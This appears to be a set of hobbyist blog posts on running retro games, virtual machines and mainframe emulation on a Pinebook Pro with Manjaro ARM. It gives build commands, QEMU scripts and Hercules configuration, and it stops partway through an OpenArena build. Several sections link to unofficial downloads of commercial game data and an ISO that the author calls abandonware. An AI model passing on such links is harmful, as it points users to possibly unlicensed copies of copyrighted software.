dillo 3.0.5-7
dos2unix 7.4.1-1
dosbox 0.74.3-1
doxygen 1.8.17-1
elinks 0.13-21
engrampa 1.22.2-1
exo 0.12.11-1
fakeroot 1.24-2
fbpanel 7.0-2
feh 3.3-2
firefox 71.0-1.1
firefox-ublock-origin 1.24.2-1
flex 2.6.4-3
fluxbox 1.3.7-5
freerdp 1:2.0.0_rc4-7
galculator-gtk2 2.1.4-4
garcon 0.6.4-1
gcc 9.2.0-4
gconf 3.2.6+11+g07808097-5
gksu 2.0.2-6
glances 3.1.3-2
gnu-netcat 0.7.1-7
go 2:1.13.5-1
graphviz 2.42.3-1
groff 1.22.4-3
gtk-xfce-engine 2.10.1-2
gvfs 1.42.2-1
gvfs-gphoto2 1.42.2-1
gvfs-mtp 1.42.2-1
gvfs-nfs 1.42.2-1
gvfs-smb 1.42.2-1
haveged 1.9.8-1
htop 2.2.0-2
ifuse 1.1.3-6
imagemagick 7.0.9.13-1
inxi 3.0.37-1
irrlicht 1.8.4-2.1
irssi 1.2.2-2
jdk-openjdk 13.0.1.u9-1
jre-openjdk 13.0.1.u9-1
kvantum-qt5 0.14.0-1
kvantum-theme-matcha 20190810-1
leveldb 1.22-1
libcurl-gnutls 7.67.0-2
libreoffice-fresh 6.3.4-1
lightdm 1:1.30.0-2
lightdm-gtk-greeter 1:2.0.7-1
lightdm-gtk-greeter-settings 1.2.2-4
linux-pinebookpro 5.5.0-0.1
lsof 4.93.2-1
luajit-git v2.1.0.beta3.r68.g9b410621-1
m4 1.4.18-3
make 4.2.1-4
manjaro-arm-wallpapers 20180416-1
manjaro-hotfixes 2018.08-6
manjaro-release 19.12-1
manjaro-settings-manager 0.5.6-4
manjaro-system 20191017-1
matcha-gtk-theme 20191110-1
mate-backgrounds 1.22.0-1
mate-desktop 1.22.2-1
mate-panel 1.22.2-1
mate-polkit 1.22.0-1
mate-session-manager 1.22.3-1
mate-settings-daemon 1.22.1-2
mate-themes 3.22.20-1
mesa 19.3.1-1
mesa-demos 8.4.0-2
meson 0.53.0-1
minetest 5.1.0-2
mlocate 0.26.git.20170220-2
mousepad 0.4.2-2
mplayer 38139-3
mtpfs 1.1-3
nano 4.7-1
ncdu 1.14.1-1
neofetch 6.1.0-1
net-tools 1.60.20181103git-2
network-manager-applet 1.8.24-1
networkmanager 1.22.2-1
nmap 7.80-1
noto-fonts 20190926-3
ntfs-3g 2017.3.23-3
numlockx 1.2-4
openal 1.20.0-1
opencv 4.2.0-1
openra 20190314-1
openssh 8.1p1-2
orage 4.12.1-4
p7zip 16.02-5
pacman 5.2.1-1
pamac-gtk 9.2.2-1
papirus-maia-icon-theme 20190726-1
parted 3.3-1
patch 2.7.6-8
pavucontrol 1:4.0-1
pkgconf 1.6.3-3
postgresql 12.1-2
pulseaudio-alsa 2-5
pulseaudio-bluetooth 13.0-2
qpdf 9.1.0-1
qt4 4.8.7-28
qt5ct 0.41-2
rdesktop 1.9.0-1
repo 1.13.8-2
rust 1:1.40.0-1
samba 4.10.10-2
sdl 1.2.15-13
sdl2_mixer 2.0.4-3
sdl2_net 1:2.0.1-2
sdl2_ttf 2.0.15-1
sdl_mixer 1.2.12-7
sdl_ttf 2.0.11-5
smplayer 19.10.2-1
snapd 2.42-2
sudo 1.8.30-1
tcl 8.6.10-1
texinfo 6.7-2
thunar 1.8.11-1
thunar-archive-plugin 0.4.0-2
thunar-media-tags-plugin 0.3.0-1
thunar-volman 0.9.5-2
tigervnc 1.10.1-1
timidity++ 2.15.0-1
tlp 1.2.2-1
ttf-bitstream-vera 1.10-12
tumbler 0.2.8-1
uboot-pinebookpro 2017.09-2
unrar 1:5.8.5-1
vi 1:070224-4
viewnior 1.7-2
vim 8.2.0033-1
virglrenderer 0.8.0-1
volumeicon 0.5.1-4
wget 1.20.3-2
xcursor-breeze 5.14.4-1
xdg-user-dirs 0.17-2
xdg-utils 1.1.3+18+g0547886-4
xf86-input-elographics 1.4.2-1
xf86-input-keyboard 1.9.0-3
xf86-input-libinput 0.29.0-1
xf86-input-mouse 1.9.3-1
xf86-input-void 1.4.1-4
xf86-video-fbturbo-git 199.f9a6ed7-4
xfce4-appfinder 4.14.0-1
xfce4-battery-plugin 1.1.3-1
xfce4-clipman-plugin 1.4.3-2
xfce4-datetime-plugin 0.8.0-1
xfce4-diskperf-plugin 2.6.2-1
xfce4-fsguard-plugin 1.1.1-1
xfce4-genmon-plugin 4.0.2-1
xfce4-mailwatch-plugin 1.2.0-8
xfce4-mount-plugin 1.1.3-1
xfce4-mpc-plugin 0.5.2-1
xfce4-notes-plugin 1.8.1-4
xfce4-notifyd 0.4.4-2
xfce4-panel 4.14.1-1
xfce4-power-manager 1.6.5-2
xfce4-pulseaudio-plugin 0.4.2-2
xfce4-screenshooter 1.9.7-1
xfce4-session 4.14.0-2
xfce4-settings 4.14.1-1
xfce4-systemload-plugin 1.2.3-1
xfce4-taskmanager 1.2.2-1
xfce4-terminal 0.8.9.1-1
xfce4-time-out-plugin 1.1.0-1
xfce4-timer-plugin 1.7.0-1
xfce4-verve-plugin 2.0.0-1
xfce4-wavelan-plugin 0.6.1-1
xfce4-weather-plugin 0.10.0-1
xfce4-whiskermenu-plugin 2.3.4-1
xfce4-xkb-plugin 0.8.1-2
xfconf 4.14.1-1
xfdesktop 4.14.1-2
xfwm4 4.14.0-1
xorg-server 1.20.6-3
xorg-server-xephyr 1.20.6-3
xorg-twm 1.0.10-1
xorg-xinit 1.4.1-1
xorg-xkill 1.0.5-1
xterm 351-1
youtube-dl 2020.01.01-1

Lets move onto the games section now, remember – most of the games here are old and data files were found on various abandon wares, but some can be legally bought still via GOG so support the authors etc … by buying the originals :)  Below games were tested for building, running and a short gameplay, many other games coredump and crash on the Pinebookpro so I will add hopefully more howtos in the future if time allows

Pentagram Ultima8

https://en.wikipedia.org/wiki/Ultima_VIII:_Pagan

We get the code via git

git clone https://github.com/pentagram-u8/pentagram.git

cd pentagram
./bootstrap

Bootstrap fails because the code is older and it does not know about aarch64

checking build system type... system/auto/config.guess: unable to guess system type

so we need to update the system/auto/config.guess to a more recent version

cd system/auto/
rm config.guess
wget https://raw.githubusercontent.com/gcc-mirror/gcc/master/config.guess
cd ..
cd ..
./configure 
make -j4 
# make install
# exit

Below ini file should be placed in ~/.pentagram
pentagram.ini  and change the path to the game data files, I have used mine as /home/user/DOS/Pagan

[pentagram]
defaultgame=u8
fullscreen=no
# Width of the game resolution.
scalex=640
# height of the game resolution.
scaley=480
# Select the scaler you want to use. Currently you can choose between
# point, bilinear, scale2x, 2xSaI, super2xSaI, supereagle, hq.
# hq scaler will automatically decide whether to use HQ2x, HQ3x or HQ4x
# depending on width and height.
scaler=2xSaI
# The game resolution is scaled to this width.
width=1280
# The game resolution is scaled to this height.
height=1024
bpp=32
# Enable this to use the BitStream Vera font for conversations and object descriptions.
ttf=no
# If you don't specify midi_driver, Pentagram will automatically select one,
# based on your platform.
# (Note: Windows will only work on Windows. CoreAudio and CoreMIDI only on Mac OS X.
# Alsa is Linux-only and UnixSeq will only work on Unix variants.)
# See further down for more options on Linux.
midi_driver=disabled/windows/fmopl/timidity/alsa/unixseq/coreaudio/coremidi/fluidsynth
# Enter the path to the SoundFont for CoreAudio (optional) and FluidSynth (required).
soundfont=path to soundfont
# Conversation speed. Higher is slower.
textdelay=8

[u8]
# replace 'path to U8 directory' with the directory containing 'u8.exe'
path=/home/user/DOS/Pagan
# replace with the directory you want Pentagram to save games to.
# (no, loading of the original's savegames is not supported)
save=/home/user/DOS/Pagan
# Enable this to skip the intro of U8 and initial conversation with Devon.
skipstart=no
# Gives the option to see the endgame animation.
endgame=no
# Gives the option to see the quotes (without having to watch the credits).
quotes=no
# Footsteps are audible.
footsteps=yes
# Enables post patch targeted jumps.
targetedjump=yes
# Enables cheating by clicking on the Avatar - currently cannot be disabled.
cheat=yes
lastSave=

Download Ultima8 data file   https://mega.nz/#!ZY4AhCxK!ip_UuJEVPedw6Hp0UDuTRRRTcMTT6MEZ1Z7ClOk-PsU

and place and place it in some directory to which the pentagram.ini will point
(My example is $HOME/DOS/Pagan)

gunzip Pagan.tar.gz 
tar -xvf Pagan.tar 
mv Pagan /home/user/DOS/

Then we can start the game by running the flollowing binary from /usr/local/bin

./pentagram

Dune2 – Dune Legacy

https://en.wikipedia.org/wiki/Dune_II

We start by creating a working directory for dune2

mkdir dune2
cd dune2
wget https://sourceforge.net/projects/dunelegacy/files/dunelegacy/0.96.4/dunelegacy-0.96.4-src.tar.bz2
bunzip dunelegacy-0.96.4-src.tar.bz2
tar -xvf dunelegacy-0.96.4-src.tar 
cd dunelegacy-0.96.4 
./configure
make -j4

And we will get an error

make[1]: *** [Makefile:1423: FileClasses/music/DirectoryPlayer.o] Error 1
make[1]: *** Waiting for unfinished jobs....
FileClasses/music/XMIPlayer.cpp: In constructor ‘XMIPlayer::XMIPlayer()’:
FileClasses/music/XMIPlayer.cpp:35:18: error: ‘MIX_INIT_FLUIDSYNTH’ was not declared in this scope
35 | if((Mix_Init(MIX_INIT_FLUIDSYNTH) & MIX_INIT_FLUIDSYNTH) == 0) {
| ^~~~~~~~~~~~~~~~~~~
make[1]: *** [Makefile:1423: FileClasses/music/XMIPlayer.o] Error 1
make[1]: Leaving directory '/home/user/SRC/dune2/dunelegacy-0.96.4/src'
make: *** [Makefile:450: all-recursive] Error 1

We need to patch the code a little

sed -e 's/MIX_INIT_FLUIDSYNTH/MIX_INIT_MID/g' \
-i src/FileClasses/music/DirectoryPlayer.cpp \
-i src/FileClasses/music/XMIPlayer.cpp

And return to build again

make -j4
# make install
# exit

Download the datafile for Dune2 https://mega.nz/#!xYpAHIJB!IZlHpCuAZtIklkAVVFOBjFzXSOijckeDh1R8yyXludM

and move the  Dune2 data files to ~/.config/dunelegacy

gunzip dunelegacy-data.tar.gz
tar -xvf dunelegacy-data.tar 
mv data ~/.config/dunelegacy/

And start the game by running the binary from /usr/local/bin

./dunelegacy

Diablo – DevilutionX

https://en.wikipedia.org/wiki/Diablo_(video_game)

git clone https://github.com/diasurgical/devilutionX
cd devilutuionX 
mkdir bin
cd bin
cmake ..
make -j4 
# make install
# exit

Download the ISO from archive.org

cd ..
cd ..
wget https://archive.org/download/Diablo_1996_Blizzard/Diablo%20%281996%29%28Blizzard%29.iso
mv ‘Diablo (1996)(Blizzard).iso’ diablo.iso 
mkdir iso 
# mount -o loop diablo.iso iso 
# cd iso 
# cp diabdat.mpq ../devilutionX/bin 
# chown user:user .../devuilutionX/bin/diabdat.mpq      \\change to user you are runnin
# cd ..
# umount iso
# exit
cd devilutionX/bin

We can launch the game from the devilutionX/bin directory like this

./devilutionX

Chocolate-Doom(heretic-hexen-strife)

git clone https://github.com/chocolate-doom/chocolate-doom
cd chocolate-doom
./autogen.sh 
./configure 
make -j4 
su
# make install
# exit

Get the Doom1, Doom2, Hexen and Heretic WADs and play

chocolate-doom -iwad doom1.wad -window

There are plenty of iwad files out there so not going to link any here

 

Exult (Ultima 7)

https://en.wikipedia.org/wiki/Ultima_VII:_The_Black_Gate

wget https://github.com/exult/exult/archive/master.zip 
unzip master.zip 
cd exult-master 
./autogen 
./configure 
make -j4 
su
# make install
# exit

Download the Black-Gate datafile

wget 'http://www.ravestats.com/public/aw-remote-download.php?dlc=Zy9VbHRpbWFfN18tX1RoZV9CbGFja19HYXRlLnppcA==' --output-document 'u7-bg.zip'
unzip u7-bg.zip 
cd Ultima_7-_The_Black_Gate

su 
# mkdir /usr/local/share/exult/blackgate 
# mv STATIC /usr/local/share/exult/blackgate
# mv gamedata /usr/local/share/exult/blackgate
# exit

To play the game run the launcher from /usr/local/bin

./exult

Similar can be done for the Forge of Virtue, Serpent Isle and Silver Seed

Duke Nukem 3D aka eduke32

https://en.wikipedia.org/wiki/Duke_Nukem_3D

git clone https://github.com/svn2github/eduke32 
cd eduke32
make 

Downloaf the DUKE3D.GRP data file , extract and https://mega.nz/#!RJAFXC4S!EqH2Liz6BBifBo_NL7UASIua7oFKt2CVBGP7AFlgEyQ

copy DUKE3D.GRP (original data file) to ~/.config/eduke32/

gunzip duke3d.grp.gz
mv duke3d.gp ~/.config/eduke32/

Run the game by launching the eduke32 in the build directory

./eduke32

Blood aka NBlood

https://en.wikipedia.org/wiki/Blood_(video_game)

git clone https://github.com/nukeykt/NBlood
cd NBlood 
make -j4

Download the Blood BLOOD-GAME-DATA.tar.gz file https://mega.nz/#!dMZFmAxL!UZheorFBt6a2OUg6OzVCz0SSQgbb6sYNNZ8-ZoSrDGg

Extract in the build directory or where the nblood binary resides

gunzip BLOOD-GAME-DATA.tar.gz 
tar -xvf GAME-DATA.tar
mv GAME-DATA/* .

Play the game from the build directory

./nblood

STUFF AVAILABLE VIA PACMAN ARCH PACKAGE MANAGER

OpenRA (aka RedAlert)

# pacman -S openra

ScummVM

# pacman -S scummvm

DOSBox

# pacman -S dosbox

Pinebookpro virtualization

$
0
0

Sharing my virtualization configurations and howtos here with others in case anybody would find them usable.

Currently a full 64bit support for KVM is only possible with Manjaro Linux (https://wiki.pine64.org/index.php/Pinebook_Pro_Software_Release#Manjaro_ARM) which I run off a microSD card (faster the better, use minimum of 100 mb/s read and 64 GB or more in size)

We are going to use mostly QEMU with KVM support for running the native arm64 systems, HYPERION-HERCULES for running mainframe simulator for z/OS or MVS  and lastly the SIMH machine simulator for running VAX systems (OpenVMS and UNIX)

Qemu

git clone https://github.com/qemu/qemu.git
cd qemu
./configure   
make -j5 
su
# make install

Hyperion – Hercules

git clone https://github.com/SDL-Hercules-390/hyperion 
git clone https://github.com/SDL-Hercules-390/crypto
git clone https://github.com/SDL-Hercules-390/decNumber
git clone https://github.com/SDL-Hercules-390/SoftFloat
git clone https://github.com/SDL-Hercules-390/telnet

We first need to build crypto, decnumber, softfloat and telnet

mkdir crypto64.Release 
cd crypto64.Release 
cmake ../crypto 
make
cd .. 
mkdir decNumber64.Release 
cd decNumber64.Release 
cmake ../decNumber 
make
cd ..
mkdir SoftFloat64.Release 
cd SoftFloat64.Release 
cmake ../SoftFloat 
make
cd ..
mkdir telnet64.Release
cd telnet64.Release
cmake ../telnet
make

Now we need to copy the compiled aarch64 libs to the proper hyperion directory

cd ..
mkdir hyperion/telnet/lib/aarch64
mkdir hyperion/SoftFloat/lib/aarch64
mkdir hyperion/decNumber/lib/aarch64 
mkdir hyperion/crypto/lib/aarch64

cp crypto64.Release/libcrypto64.a hyperion/crypto/lib/aarch64
cp decNumber64.Release/libdecNumber64.a hyperion/decNumber/lib/aarch64
cp SoftFloat64.Release/libsSoftFloat64.a hyperion/SoftFloat/lib/aarch64
cp telnet64.Release/libtelnet64.a hyperion/telnet/lib/aarch64
cd hyperion
./configure 
make -j4
su 
# make install

Next we need to compile x3270 terminal emulator

cd ..
wget http://x3270.bgp.nu/download/03.06/suite3270-3.6ga8-src.tgz
gunzip suite3270-3.6ga8-src.tgz 
tar -xvf suite3270-3.6ga8-src.tar
cd suite3270-3.6 
./configure

Will fail because we have an old config.guess .. download a recent one from GCC

rm config.guess
wget https://raw.githubusercontent.com/gcc-mirror/gcc/master/config.guess

./configure 
make -j4 
# make install

SIMH

git clone https://github.com/simh/simh
cd simh
make -j5

All simh binaries will be in simh/BIN directory

Preparing the Pinebook-Pro Manjaro Linux for virtualization

Manjaro aarch64 kernel is compiled with KVM support so we can take full advantage of /dev/kvm acceleration via qemu-system-aarch64  or qemu-system-arm. Once we have the hypervizor and simulators compiled, here are some examples how I handle networking in the VMs

For the networking on the Arch Linux we need to download uml_utilities and compile them, since they do not ship on the Manjaro Linux (arch) since we need the tunctl command from there to setup the network

$ wget http://user-mode-linux.sourceforge.net/uml_utilities_20070815.tar.bz2
$ bunzip uml_utilities_20070815.tar.bz2 
$ tar -xvf uml_utilities_20070815.tar
$ cd tools-20070815 
$ make 

The make will error on uml_net/hoct.c:215 undefined reference to ` makedev`   But this does not really matter, the tunctl binary will be built which we can copy over to /usr/bin like this  $ su # cd tunclt # cp tunctl /usr/bin

Also we would need to install the bridge-utils which are installable via pacman package manager like this

# pacman -S bridge-utils

Once we have all the above in place we can prepare the network sharing script for Qemu, just make sure we execute this after each system boot

#Setup tap and bridge 
#change the username below to match yours
tunctl -t tap0 -u user  
ifconfig tap0 up
brctl addbr br0
brctl setfd br0 0
ifconfig br0 10.0.2.2 netmask 255.255.255.0 broadcast 10.0.2.255 up
brctl addif br0 tap0 
ifconfig tap0 0.0.0.0
sysctl net.ipv4.ip_forward=1
iptables --table nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE

Also make sure you have this script as /etc/qemu-ifup and executable

#! /bin/sh
# Script to bring a network (tap) device for qemu up.
# The idea is to add the tap device to the same bridge
# as we have default routing to.

# in order to be able to find brctl
PATH=$PATH:/sbin:/usr/sbin
ip=$(which ip)

if [ -n "$ip" ]; then
ip link set "$1" up
else
brctl=$(which brctl)
if [ ! "$ip" -o ! "$brctl" ]; then
echo "W: $0: not doing any bridge processing: neither ip nor brctl utility not found" >&2
exit 0
fi
ifconfig "$1" 0.0.0.0 up
fi

switch=$(ip route ls |
awk '/^default / {
for(i=0;i<NF;i++) { if ($i == "dev") { print $(i+1); next; } }
}'
)

switch=br0

# only add the interface to default-route bridge if we
# have such interface (with default route) and if that
# interface is actually a bridge.
# It is possible to have several default routes too
for br in $switch; do
if [ -d /sys/class/net/$br/bridge/. ]; then
if [ -n "$ip" ]; then
ip link set "$1" master "$br"
else
brctl addif $br "$1"
fi
exit # exit with status of the previous command
fi
done

echo "W: $0: no bridge for guest interface found" >&2

Running Virtual Machines on the PinebookPro

Here are some examples of installer/loader scripts of various systems I have used for KVM accelerated qemu

NetBSD -current arm64   ( http://www.invisible.ca/arm/)

wget https://releases.linaro.org/components/kernel/uefi-linaro/latest/release/qemu64/QEMU_EFI.fd
/usr/local/bin/qemu-system-aarch64 \
-cpu host -M virt,accel=kvm -smp 2 \
-m 512 -nographic \
-bios QEMU_EFI.fd \
-drive file=netbsd.img,if=none,id=drive0,format=raw \
-device virtio-blk-device,drive=drive0 \
-serial tcp::4441,server,telnet,wait \
-net nic -net tap

Connect to the remote machine qemu console via telnet 4441


FreeBSD -current arm64 (http://ftp.freebsd.org/pub/FreeBSD/snapshots/arm64/aarch64/ISO-IMAGES/13.0/)

wget https://releases.linaro.org/components/kernel/uefi-linaro/latest/release/qemu64/QEMU_EFI.fd
./qemu-system-aarch64 \
-cpu host -M virt,accel=kvm \
-m 2048 -nographic \
-bios QEMU_EFI.fd \
-drive file=freebsd.img,format=raw,id=drive1 \
-serial tcp::4441,server,telnet,wait \
-net nic -net tap

Connect to the remote machine qemu console via telnet 4441


CentOS 8 arm64 (http://isoredirect.centos.org/centos/8/isos/aarch64/)

wget https://releases.linaro.org/components/kernel/uefi-linaro/latest/release/qemu64/QEMU_EFI.fd

Install.sh

qemu-system-aarch64 \
-cpu host -M virt,accel=kvm -m 1024 -nographic \
-drive if=pflash,format=raw,file=QEMU_EFI.img \
-drive if=pflash,file=varstore.img \
-drive if=virtio,file=disk.img \
-drive if=virtio,format=raw,file=centos8.iso

Run.sh

qemu-system-aarch64 \
-cpu host -M virt,accel=kvm -m 1024 -nographic \
-drive if=pflash,format=raw,file=QEMU_EFI.img \
-drive if=pflash,file=varstore.img \
-drive if=virtio,file=disk.img \
-net nic -net tap

Windows 10 arm64

Getting the Win10 arm64 ISO  https://www.woaproject.net/viewtopic.php?t=3

Then extract the zip file with the aria

mv 19541.1000_arm64_en-us_professional_7da33442_convert.zip ARIA/
unzip 19541.1000_arm64_en-us_professional_7da33442_convert.zip 
Archive:  19541.1000_arm64_en-us_professional_7da33442_convert.zip
  inflating: aria2_download_windows.cmd  
  inflating: aria2_download_linux.sh  
  inflating: ConvertConfig.ini       
 extracting: files/convert_config_linux  
  inflating: files/aria2c.exe        
  inflating: files/convert.sh        
  inflating: files/convert_ve_plugin  
  inflating: files/7zr.exe           
  inflating: files/uup-converter-wimlib.7z

chmod +x aria2_download_linux.sh
./aria2_download_linux.sh

this will take some time (faster on SSD drivers ofcourse) 

Total translation table size: 2048
Total rockridge attributes bytes: 0
Total directory bytes: 0
Path table size(bytes): 10
Max brk space used d5000
1854834 extents written (3622 MB)

Once downloaded rename it to win10.iso

mv 19541.1000_PROFESSIONAL_ARM64_EN-US.ISO win10.iso

Create a Win10 working directory and create empty disk image to hold the installation

wget https://releases.linaro.org/components/kernel/uefi-linaro/latest/release/qemu64/QEMU_EFI.fd
wget https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/archive-virtio/virtio-win-0.1.173-2/virtio-win-0.1.173.iso
qemu-img create -f qcow2 disk.img 20G

Install.sh

#!/bin/bash
export QEMU_AUDIO_DRV=pa

qemu-system-aarch64 \
-cpu host \
-enable-kvm \
-M virt-2.12 \
-smp 2 \
-m 2G \
-bios QEMU_EFI.img \
-device ramfb \
-device ich9-usb-ehci1 \
-device usb-kbd \
-device usb-mouse \
-device usb-tablet \
-device usb-storage,drive=windows \
-drive if=none,id=windows,media=cdrom,file=win10.iso \
-device usb-storage,drive=drivers \
-drive if=none,id=drivers,media=cdrom,file=virtio-win-0.1.173.iso \
-device virtio-blk,drive=system \
-drive if=none,id=system,format=qcow2,file=disk.img

Networking works best with a physical USB 1GB realtek dongle identified by Linux as productid=0x8153. During the installation make sure to load the virtio-win-0.1.173.iso drivers so that the disk.img gets detected by the installer !

Run.sh

#!/bin/bash
export QEMU_AUDIO_DRV=pa

qemu-system-aarch64 \
-cpu host \
-enable-kvm \
-M virt-2.12 \
-smp 2 \
-m 2G \
-bios QEMU_EFI.img \
-device ramfb \
-device ich9-usb-ehci1 \
-device usb-kbd \
-device usb-mouse \
-device usb-tablet \
-device usb-storage,drive=drivers \
-drive if=none,id=drivers,media=cdrom,file=virtio-win-0.1.173.iso \
-device virtio-blk,drive=system \
-drive if=none,id=system,format=qcow2,file=disk.img -vnc :1 \
-device usb-ehci,id=ehci -device usb-host,bus=ehci.0,vendorid=0x0bda,productid=0x8153

And use VNC connector to localhost :1 to finish the setup, please note that the virtio network drivers are causing BSOD on Win10 arm64, so its better to use a real USB ethernet dongle on the Pinebook-pro woth the Realtek chip identified as 0x8153, once you have the network up in the VM, use RemoteDesktop or  freerdp2 to connect to Windows10 over the network for best performance.

NON aarch64 systems in simulators on the PinebookPro

Here are example loaders and installers for non arm/aarch64 systems which are fun to play around with (and of course you can run this on more powerful x86_64 platform ) I just wanted to show how powerful the Pinebookpro actually is

AmigaOS 4.1  qemu-system-ppc  (search for Sam460InstallCD-53.58.iso on the internet) 

qemu-system-ppc -machine sam460ex -rtc base=localtime -drive if=none,id=cd,file=./Sam460InstallCD-53.58.iso,format=raw -device ide-cd,drive=cd,bus=ide.1 -drive file=./disk.img,format=raw,id=disk -device ide-hd,drive=disk,bus=ide.0 -netdev user,id=mynet0 -net nic,model=rtl8139 -net tap

MorphOS 3.12 qemu-system-ppc

wget http://www.morphos-team.net/morphos-3.12.iso

Install.sh

qemu-system-ppc -machine mac99,via=pmu -m 512 \
-vga none -device sm501 \
-cdrom morphos-3.12.iso -boot d \
-hda disk.img \
-prom-env "boot-device=cd:,\mac_ppc32\boot.img" \
-bios openbios-qemu.elf -serial stdio \
-netdev user,id=mynet0 -device sungem,netdev=mynet0 -net nic -net tap

Run.sh

qemu-system-ppc -machine mac99,via=pmu -m 512 \
-vga none -device sm501 \
-cdrom morphos-3.12.iso -boot c \
-hda disk.img \
-prom-env "boot-device=hd:,boot.img" \
-bios openbios-qemu.elf -serial stdio \
-netdev user,id=mynet0 -device sungem,netdev=mynet0 -net nic -net tap

AIX 7.2 qemu-system-ppc64  (IBM prorietary OS)

You can get the System Diagnostics live CD from https://worthdoingbadly.com/aixqemu/

Or if you have AIX 7.2 you can use it onwards from Technology Level 3 and Service Pack 1 onwards in qemu-system-ppc64 since IBM added virtio-scsi support to the AIX kernel

Install.sh

qemu-system-ppc64 -cpu POWER8 -machine pseries -m 2048 -serial stdio -drive file=disk.img,if=none,id=drive-virtio-disk0 -device virtio-scsi-pci,id=scsi -device scsi-hd,drive=drive-virtio-disk0 -cdrom aix.iso -prom-env "boot-command=dev / 0 0 s\" ibm,aix-diagnostics\" property boot cdrom:\ppc\chrp\bootfile.exe -s verbose" -net nic -net tap -display vnc=:1

Run.sh

qemu-system-ppc64 -cpu POWER8 -machine pseries -m 2048 -serial telnet::4441,server -drive file=disk.img,if=none,id=drive-virtio-disk0 -device virtio-scsi-pci,id=scsi -device scsi-hd,drive=drive-virtio-disk0 -cdrom AIX71/cd1.iso -prom-env boot-command='boot disk: ' -net nic -net tap -vga none -nographic

Overall performance is not bad, bear in mind that 2 GB RAM is minimum to run AIX 7.2 under qemu-system-ppc64, it takes roughly about 15 minutes to boot on the Pinebook-pro and is quite usable afterwards.

HERCULES – HYPERION

Mainframe z/OS 1.10 (strictly experimental) 

hercules.cnf

ARCHMODE z/Arch
ALRF ENABLE
cckd RA=2,RAQ=4,RAT=2,WR=2,GCINT=5,GCPARM=0,NOSTRESS=0,TRACE=0,FREEPEND=-1
CNSLPORT 3270
CONKPALV (3,1,10)
CPUMODEL 3090
CPUSERIAL 012345
DIAG8CMD ENABLE
ECPSVM YES
LOADPARM 0A95DB..
LPARNAME HERCULES
MAINSIZE 1024
MOUNTED_TAPE_REINIT DISALLOW
NUMCPU 6 
OSTAILOR Z/OS
PANRATE 80
PGMPRDOS LICENSED
SHCMDOPT NODIAG8
SYSEPOCH 1900
TIMERINT 50
TZOFFSET +1400
YROFFSET 0

HERCPRIO 0
TODPRIO -20
DEVPRIO 8
CPUPRIO 0

# Display Terminals

0700 3270
0701 3270
0702 3270
0703 3270
0704 3270

#********************************************************************
# CTCI COMMUNICATION DEVICES *
#********************************************************************
0E20.2 CTCI 192.168.11.101 192.168.11.102


# DASD Devices

0A81 3390 cckd/zares1.cckd sf=shadow/zares1_*
0A82 3390 cckd/zares2.cckd sf=shadow/zares2_*
0A83 3390 cckd/zadb81.cckd sf=shadow/zadb81_*
0A84 3390 cckd/zadb82.cckd sf=shadow/zadb82_*
0A85 3390 cckd/zadb83.cckd sf=shadow/zadb83_*
0A86 3390 cckd/zadb84.cckd sf=shadow/zadb84_*
0A87 3390 cckd/zadb91.cckd sf=shadow/zadb91_*
0A88 3390 cckd/zadb92.cckd sf=shadow/zadb92_*
0A89 3390 cckd/zacic1.cckd sf=shadow/zacic1_*
0A8A 3390 cckd/zadis1.cckd sf=shadow/zadis1_*
0A8B 3390 cckd/zadis2.cckd sf=shadow/zadis2_*
0A8C 3390 cckd/zadis3.cckd sf=shadow/zadis3_*
0A8D 3390 cckd/zadis4.cckd sf=shadow/zadis4_*
0A8E 3390 cckd/zadis5.cckd sf=shadow/zadis5_*
0A8F 3390 cckd/zadis6.cckd sf=shadow/zadis6_*
0A90 3390 cckd/zaims1.cckd sf=shadow/zaims1_*
0A91 3390 cckd/zaprd1.cckd sf=shadow/zaprd1_*
0A92 3390 cckd/zaprd2.cckd sf=shadow/zaprd2_*
0A93 3390 cckd/zaprd3.cckd sf=shadow/zaprd3_*
0A94 3390 cckd/zaprd4.cckd sf=shadow/zaprd4_*
0A95 3390 cckd/zasys1.cckd sf=shadow/zasys1_*
0A96 3390 cckd/zauss1.cckd sf=shadow/zauss1_*
0A97 3390 cckd/zawas1.cckd sf=shadow/zawas1_*
0A98 3390 cckd/zawas2.cckd sf=shadow/zawas2_*
0A99 3390 cckd/zawas3.cckd sf=shadow/zawas3_*
0A9A 3390 cckd/sares1.cckd sf=shadow/sares1_*

Execute Hercules

/usr/local/bin/hercules -f hercules.cnf

Open 2 x3270 terminals and connect them both to localhost so that Hercules logo shows up , below are some basic commands to run the simulator and the system, Im not goint to cover the z/OS here in deeper detail.

IPL the 0E20 device in Hercules by first doing

Press ESC to go to IPL menu in HerculesShift+l   
h 

During first run we need to initialize the system like so 

R 00,I 

Wait till you get either the TSO login or fix the TSO logon by running 
the following in the primary console window 

R 01,RETRY or 
R 02,RETRY

The network is tricky to get configured and the whole Mainframe simulation stuff needs a separate blog entry I believe, hopefully if I have time I will create a specific article about exactly that.

But at the end our Pinebook-pro runs Mainframe quite well under hercules :)

Pinebookpro gaming part 2

$
0
0

Next chapter in PinebookPro gaming would be for OpenArena

Following was tested on the Manajaro Linux (aarch64 with the latest updates) and the Panfrost driver (mesa-git)

In order to use the Panfrost drivers please do the following

pacman -R xf86-video-fbturbo-git 
pacman -S mesa-git
sudo mv /etc/X11/xorg.conf.d/99-fbturbo.conf /etc/X11/xorg.conf.d/99-fbturbo~

And make sure you reboot the PinebookPro for the driver to get loaded.

Check that the drivers are working by verifying

glxinfo | grep Panfrost

You should see

 Vendor: Panfrost (0xffffffff)
Device: Mali T860 (Panfrost) (0xffffffff)
OpenGL vendor string: Panfrost
OpenGL renderer string: Mali T860 (Panfrost)

Lets move on to the OpenArena build (assuming we have all the build tools installed)

How to build/compile OpenArena on the PinebookPro Manjaro linux aarch64

We start by creating a working directory

mkdir ~/OPENARENA
cd ~/OPENARENA
git clone https://github.com/cmatsuoka/libxmp
wget https://fossies.org/linux/misc/xmp-4.1.0.tar.gz

cd libxmp
autoconf
./configure 
make -j4 
cd ~/OPEARENA
gunzip xmp-4.1.0.tar.gz
tar -xvf xmp-4.1.0.tar
rm xmp-4.1.0.tar

cd xmp-4.1.0 
PKG_CONFIG_PATH=$PKG_CONFIG_PATH:../libxmp/ LDFLAGS=-L../libxmp/lib CFLAGS=-I../libxmp/include ./configure
make -j4 
su - 
# make install 
# exit 


cd ~/OPENARENA
git clone https://github.com/OpenArena/engine
git clone https://github.com/OpenArena/gamecode

cd engine

Now we need to edit the code/qcommon/q_platform.h to include aarch64 support

Add the following just below #define ARCH_STRING "arm"

vi code/qcommon/q_platform.h

#elif defined __aarch64__
